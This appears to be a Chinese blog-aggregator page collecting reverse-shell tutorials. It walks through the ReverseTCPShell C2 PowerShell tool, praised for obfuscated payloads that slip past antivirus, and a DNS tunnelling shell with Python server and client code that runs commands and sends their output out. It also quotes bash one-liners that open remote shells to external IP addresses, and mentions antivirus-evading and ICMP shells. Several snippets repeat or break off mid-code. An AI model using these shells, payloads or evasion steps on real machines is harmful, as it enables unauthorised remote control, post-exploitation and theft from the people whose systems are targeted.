-
shell 工具_ReverseTCPShell C2 反弹shell工具
2020-11-26 16:36:36ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。测试:1. 在文件目录下启动powershell2. .ReverseTCP.ps1 ,启动程序会出现这个界面,功能...ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。
测试:
1. 在文件目录下启动powershell
2. .ReverseTCP.ps1 ,启动程序
会出现这个界面,功能介绍,设置好lhost和lport(监听地址及端口)
Modules (模块) | - Show C2-Server Modules.(显示c2服务器模块)Info (信息)
| - Show Remote-Host Info.(显示远程主机信息)Upload (上传)
| - Upload File from Local-Host to Remote-Host.(上传文件从本地主机到远程主机。)Download(下载)
| - Download File from Remote-Host to Local-Host.(从远程主机下载文件到本地主机。)Screenshot (截图)
| - Save Screenshot from Remote-Host to Local-Host.(保存屏幕截图从远程主机到本地主机。)
可以看到三种混淆方式
这里我选择的是base64,生成powershell和cmd的payload
复制出cmd的payload,靶机执行
靶机上线,杀软未提示和拦截
执行命令ipconfig
可直接执行shell命令 ,截图经常报错,远程文件上传和下载,方便后渗透的进行,可进一步利用。
-
ReverseTCPShell C2 反弹shell工具
2020-11-21 11:56:48ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。 Github下载地址:https://github.com/ZHacker13/ReverseTCPShell 1、在文件目录下启动...ReverseTCPShell C2 反弹shell工具
ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。
Github下载地址:
https://github.com/ZHacker13/ReverseTCPShell
1、在文件目录下启动powershell
2、.\ReverseTCP.ps1 启动程序**
注:若出现以下错误,请更改执行策略
**
报错:无法加载文件 ******.ps1,因为在此系统中禁止执行脚本。有关详细信息。set-executionpolicy remotesigned
默认值改为:Y
再次.\ReverseTCP.ps1
功能介绍,设置好lhost和lport(监听地址及端口)
Modules (模块) | - Show C2-Server Modules.(显示c2服务器模块)
Info (信息) | - Show Remote-Host Info.(显示远程主机信息)
Upload (上传) | - Upload File from Local-Host to Remote-Host.(上传文件从本地主机到远程主机。)
Download(下载) | - Download File from Remote-Host to Local-Host.(从远程主机下载文件到本地主机。)
Screenshot (截图) | - Save Screenshot from Remote-Host to Local-Host.(保存屏幕截图从远程主机到本地主机。)可以看到三种混淆方式
这里选择的是base64,生成powershell和cmd的payload
复制出cmd的payload,靶机执行
本地powershell开启监听,靶机上线,杀软未提示和拦截
可直接执行shell命令、远程文件上传和下载,方便后渗透的进行,可进一步利用。 -
好用的cmdshell反弹工具
2010-06-19 13:49:34好用的cmdshell反弹工具;好用的cmdshell反弹工具 -
DNS反弹Shell
2018-06-08 16:43:38反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备...0X01 引子
反弹Shell广泛应用于远程控制下的权限维持,通过反转攻(客户端)和受(服务端)的角色,来实现条件限制,尤其是内网情况下的远程连接。
反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。
最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备自己尝试写一个DNS服务器和DNS请求程序来实现反弹,不过刚动笔就看到了别人开源的程序,于是直接使用别人的程序来学习了。
https://github.com/ahhh/Reverse_DNS_Shell
为了运行测试更方便,去掉了程序中的加解密功能,额外的Python包只需要dns和dnslib
0X02 DNS
为了关联主机和IP地址对应关系而诞生的DNS本身,不需要我在这里赘述了。跳过域名构成、查询过程等可以轻松在网络查询到的内容,我们直接来看看DNS的包构成
在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。
- 标志着数据开始的是Tran ID段,所有的问答信息都需要一定的机制来保证对应,这部分应该就是对应机制中的一部分。
- 紧接着的Flags,0x0100表明了一些查询属性。
- Queries中是我们所要查询的host,查询类型。作为A类型查询,得到的是host的IP,这里也是我们做手脚的地方,不过TXT类型可以插入一些附加的信息,更适合我们用来构造命令语句。
服务器回应包如下:
- 作为回应的Tran ID,它和查询包相同。
- Flags中标准回应标志位
- 重复显示的Queries
- 回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。
利用这种相互应答的特性,我们初步计划通过以下流程来实现我们的反弹Shell
0X03 程序
原始的程序可以在上面的github中找到,这里贴出我们去掉加解密的部分程序。
先说DNS服务器的部分
这一部分封装了对DNS的应答,payload里是被控端发来的查询信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包
这部分对于被控端的查询包进行解析,从中获取到地址和数据,对于数据,解析出其中的命令回显,并且初始化一个应答包。
主函数中使用socket监听相关端口,对于监听到的包按照预定流程进行处理。
再来看看被控端发送的部分
首先是整个流程一览,从程序中可以很清晰的看到建立连接,解析命令,执行命令,发送回显的过程。
构造的url,也就是命令回显,对于没有命令的,会返回nxt。利用回显构造查询语句。
这两段程序对于收到的文本格式的命令进行解析和执行,没有太多的东西可以讲。只是注意格式的截取,并且考虑对Linux和Windows的命令之间转换。
这部分负责发送DNS查询,按照与服务器约定的格式构造包并且进行发送。
0X04 测试
我们需要先执行服务器端程序,然后执行被控端程序。我的服务端程序在一台Ubuntu主机上,被控端在我的Win10机器上。
这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,其中Name的值bnh0就是我之前所说的NXT
而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,
可以对比和我之前实际抓包的不同之处,对照可以看出我们在DNS包的哪些地方做过修改。
0X05 延伸
其实相关的DNS隧道技术原理应该差不多,都是在本来应该放DNS规定信息的地方放入了其他的东西,来达到一些意想不到的结果。
当然,RFC还有许多协议可以让我随意构造去做测试,下一步考虑写一个多协议支持的Fuzzing工具 :)
-
ac2100 反弹shell无法粘贴_也谈DNS反弹Shell
2020-12-23 10:44:27反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备...0X01 引子
反弹Shell广泛应用于远程控制下的权限维持,通过反转攻(客户端)和受(服务端)的角色,来实现条件限制,尤其是内网情况下的远程连接。
反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。
最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备自己尝试写一个DNS服务器和DNS请求程序来实现反弹,不过刚动笔就看到了别人开源的程序,于是直接使用别人的程序来学习了。
为了运行测试更方便,去掉了程序中的加解密功能,额外的Python包只需要dns和dnslib
0X02 DNS
为了关联主机和IP地址对应关系而诞生的DNS本身,不需要我在这里赘述了。跳过域名构成、查询过程等可以轻松在网络查询到的内容,我们直接来看看DNS的包构成
在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。
标志着数据开始的是Tran ID段,所有的问答信息都需要一定的机制来保证对应,这部分应该就是对应机制中的一部分。
紧接着的Flags,0x0100表明了一些查询属性。
Queries中是我们所要查询的host,查询类型。作为A类型查询,得到的是host的IP,这里也是我们做手脚的地方,不过TXT类型可以插入一些附加的信息,更适合我们用来构造命令语句。
服务器回应包如下:
作为回应的Tran ID,它和查询包相同。 Flags中标准回应标志位 重复显示的Queries
回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。
利用这种相互应答的特性,我们初步计划通过以下流程来实现我们的反弹Shell
0X03 程序
原始的程序可以在上面的github中找到,这里贴出我们去掉加解密的部分程序。
先说DNS服务器的部分
1 2 3 4 5 6 7 8 def spawnShell(answer, payload): shellInput =
raw_input(PROMPT) if shellInput == 'quit': EXIT = 1 if shellInput
== '': spawnShell(answer, payload) out =
base64.b64encode(shellInput) answer.add_answer(
*dnslib.RR.fromZone('{}.com 60 TXT "{}"'.format(payload, out)))
return answer
这一部分封装了对DNS的应答,payload里是被控端发来的查询信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包
1 2 3 4 5 6 def recievePayload(udps): data, addr =
udps.recvfrom(1024) dnsD = dnslib.DNSRecord.parse(data) payload =
dnsD.questions[0].qname.label[0] answer = dnsD.reply() return addr,
payload, answer
这部分对于被控端的查询包进行解析,从中获取到地址和数据,对于数据,解析出其中的命令回显,并且初始化一个应答包。
主函数中使用socket监听相关端口,对于监听到的包按照预定流程进行处理。
再来看看被控端发送的部分
1 2 3 4 5 6 def start(host): while 1: a = startConnection(host) cmd
= parseCmd(a) stdoutput = runCmd(cmd) sendOutputToServer(stdoutput,
host)
首先是整个流程一览,从程序中可以很清晰的看到建立连接,解析命令,执行命令,发送回显的过程。
1 2 3 4 5 6 def startConnection(host): url = formURL(nextCommand)
request = dns.message.make_query(url, dns.rdatatype.TXT) answers =
dns.query.udp(request, host) a = answers.to_text() return a
构造的url,也就是命令回显,对于没有命令的,会返回nxt。利用回显构造查询语句。
1 2 def parseCmd(a): def runCmd(cmd)
这两段程序对于收到的文本格式的命令进行解析和执行,没有太多的东西可以讲。只是注意格式的截取,并且考虑对Linux和Windows的命令之间转换。
1 2 3 4 5 6 7 8 9 10 11 12 13 def sendOutputToServer(output, host):
send ='' output_end = len(output) for chunk in output: send +=
chunk output_end -= 1 if len(send) == 58: url = formURL(send)
dnsMakeQuery(url, host) send ='' if output_end == 0: url =
formURL(send) dnsMakeQuery(url, host)
这部分负责发送DNS查询,按照与服务器约定的格式构造包并且进行发送。
0X04 测试
我们需要先执行服务器端程序,然后执行被控端程序。我的服务端程序在一台Ubuntu主机上,被控端在我的Win10机器上。
如图,是在Ubuntu上对Win10执行ipconfig命令的显示。
我们再进行抓包分析:
这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,其中Name的值bnh0就是我之前所说的NXT
而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,
可以对比和我之前实际抓包的不同之处,对照可以看出我们在DNS包的哪些地方做过修改。
0X05 延伸
其实相关的DNS隧道技术原理应该差不多,都是在本来应该放DNS规定信息的地方放入了其他的东西,来达到一些意想不到的结果。
当然,RFC还有许多协议可以让我随意构造去做测试,下一步考虑写一个多协议支持的Fuzzing工具 :)
-
windows 反弹shell_HTML单文件小工具反弹shell备忘录
2020-12-08 15:42:040x00 前言好久不见0x01 工具介绍起因是, 每次需要弹shell的时候都要去翻笔记, 或者找一些编码网站编码payload, 改完IP再复制还总是容易出错...于是写了下面这个HTML单文件版的小工具, 如下PS: 懒的美化了(其实是不会... -
lftp怎么上传目录 shell_ReverseTCPShell C2 反弹shell工具
2020-12-08 15:42:03ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。测试:1.在文件目录下启动powershell2..\ReverseTCP.ps1 ,启动程序会出现这个界面,功能... -
Python3 实现一个简单的反弹shell工具
2021-01-15 01:23:01worker_socket.send(data) def worker(worker_socket,addr): while True: data = worker_socket.recv(BUFSIZE) if len(data) (data,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) result = p.stdout.read() err ... -
分享一个免杀的反弹shell工具(python脚本转换成exe)
2019-07-21 12:29:00有时候网站服务器上有杀毒软件,我们上传的nc.exe、lcx.exe等工具都被杀了,这时候就需要一款免杀的工具来反弹shell。 这篇博客主要是依据国外的一片文章翻译而来,根据国外大佬的教程将Python脚本转换成exe程序... -
Linux反弹shell姿势复现(二)--- 利用下载的工具执行反弹(busybox)
2021-04-06 17:39:50本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考! 复现环境说明 服务端(被监听)(ubuntu使用cat /proc/version查看,centos使用cat /etc/system-release查看):ubuntu 5.4.0-67-generic; centos:... -
反弹 shell 的 N 种方式
2020-12-03 22:04:47证各位的最佳阅读体验,所有的工具和方式我都要实测之后再整理发布相关知 识文章,这一次我来讲一下关于反弹 shell 的知识,这部分知识可能说起来一句 话也行: bash -i >& /dev/tcp/10.22.225.77/777 0>&... -
常用的反弹shell总结
2020-03-24 18:59:02nc反弹shell 我们已经拿下主机的一个webshell,我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松的... -
linux下反弹shell的姿势
2018-04-19 13:17:36下面就说说linux自带的程序来反弹shell的姿势。 自带工具Bash针对不同的linux版本,可能有不同的利用方式,这里简单列一下,在使用的时候大家自行测试。 0x01bash -i >& /dev/tcp/10.0.0.1/8080 ... -
Linux 反弹 Shell
2019-08-03 23:16:00NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接地或容易地驱动。 同时,nc又是一个功能丰富的网络调试和开发工具,... -
ICMPSH的学习ICMP反弹shell
2020-06-04 08:37:36最常见的ping命令就是利用的ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用。 实验环境 Kali 192.168.10.144 win7 192.168.10.129 kali安装好icmpsh工具 root@kali:~# git clone ... -
tcp报文发送工具_关于TCP劫持攻击并反弹shell
2020-12-10 10:26:07关于TCP劫持攻击并反弹shell在开始攻击前,复习一下TCP的三次握手和4次挥手。 第1次握手:客户端向服务器发送一个同步数据包请求建立连接,该数据包中,客户端向服务器发送一个SYN数据包,此时的SYN数据包置一,seq是... -
后渗透——利用kali工具MSF反弹shell
2020-03-16 19:42:57msfconsole可能是Metasploit框架(MSF)最流行的接口。它提供了一个“一体化”的集中控制台,并允许您高效地访问MSF中几乎所有可用的选项。MSFconsole一开始可能看起来有些吓人,但是一旦您了解了命令的语法,您就会... -
windows 反弹shell_使用shellpy建立反向Shell
2020-12-12 23:13:05Shellpy地址:https://github.com/DarkSecDevelopers/Shellpy Shellpy是一个小脚本工具,可以在windows下建议一个反向的...修改成自己的后,我们就可以运行这个脚本,根据后面代码可以看到,脚本首先会将反弹shell的... -
反弹shell木马免杀python版
2019-12-10 17:25:45本人自己写的反弹shell工具,技术有限,目前只能反弹一个shell,还没深入研究,不过提权过程中一个shell足够了,毕竟不是远控管理工具。 最新版本的,确实是免杀的。 话不多说,看操作: 第一步打开服务端本地运行... -
Windows/Linux 下nc 反弹shell
2019-06-11 15:26:56nc又名netcat,一个简单而有用的工具,可以干很多事情,但是不可以吃。 何为反弹shell?为什么不反弹攻击? 相信你有一天可以直接把所有攻击反弹回去的. 何为反弹shell? 简单来说就... -
基于JavaScript的rce反弹shell漏洞
2020-08-17 18:29:40文章目录环境要求工具地址攻击步骤 环境要求 kali攻击机 192.168.232.131 win10靶机 ...拉取工具到kali的根目录下 git clone https://github.com/CroweCybersecurity/ps1encode.git 给权限 chmod +x pslen. -
端口映射后的公网反弹shell
2020-04-01 20:13:58渗透一个网站最后获取该web服务器权限的时候,可能会思考,如何把公网的IP反弹到自己内网(私有ip)的虚拟机上?这时候我们就需要把内网的ip和端口映射成一个公网的ip和端口从而实现内网穿透。 这里我用的是NATAPP... -
网络安全&TCP劫持实现反弹shell✍
2020-03-20 17:13:20TCP劫持实现反弹shell实验环境:TCP劫持反弹shell反弹shell的原理:1. 关于反弹shell2. 反弹shell的原因实验过程1.获取数据包2.模拟产生TCP会话3.在kali上抓取数据包4.利用netwox工具伪造包配置示例:反射shell语句... -
運行shell script 文件_利用自拍照反弹shell
2020-11-19 23:00:23文章来源:洛米唯熊0x00:前言继前面讲到的用(看我如何利用微信反弹shell)之后,引来了很多人的围观。确实,新颖的利用方式。很有利用价值!闲话少说。今天,利用奇思妙想的方法来反弹shell。用一张自拍照。0x01:过程... -
linux 反弹shell 准备篇
2019-05-16 21:16:16netcat(简称nc)被誉为网络安全界的‘瑞士军刀’,是我们这次反弹shell篇的主角,这个命令功能极其强大,它是一个简单但实用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具, ... -
2100 反弹shell无法粘贴_整理几个超实用的 shell 命令
2021-01-08 15:16:33curlcurl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。curl 功能非常强大,它的命令可以直接放到 postman 使用,postman 也是支持 curl 的请求方式。常用的结果参数... -
windows 反弹shell_网络探测,shell反弹,文档传输,远程管理,这个30K小工具我真服...
2020-12-08 15:42:03前言小助手今天说的这个工具,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大的功能。他就是 Nmap 工具包内的 Ncat。介绍Netcat是用于跨TCP和UDP端口读写数据的实用程序... -
linux反弹shell基础 >>> 数据流重定向
2019-04-16 13:06:39linux反弹shell基础 &...可以简单理解为:有一个中央枢纽,控制着整个系统的运行,而你是这个中央枢纽的主人,你想通过它来控制着整个系统的运行,但它不理解你的语言,所有你需要与它沟通的工具或者说能让它理解的... -
openssl命令_使用OpenSsl加密反弹shell
2020-11-24 23:44:04一、实际环境:当我们使用nc等工具进行反弹shell时,流量都是没经过加密,直接传输的,管理员很容易就能发现我们的异常流量,而且现在大部分企业内部都会有各种流量监测设备,所以在这种情况下当我们进行操作时,... -
通过ICMP协议反弹SHELL并执行命令
2018-05-23 22:16:52防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此...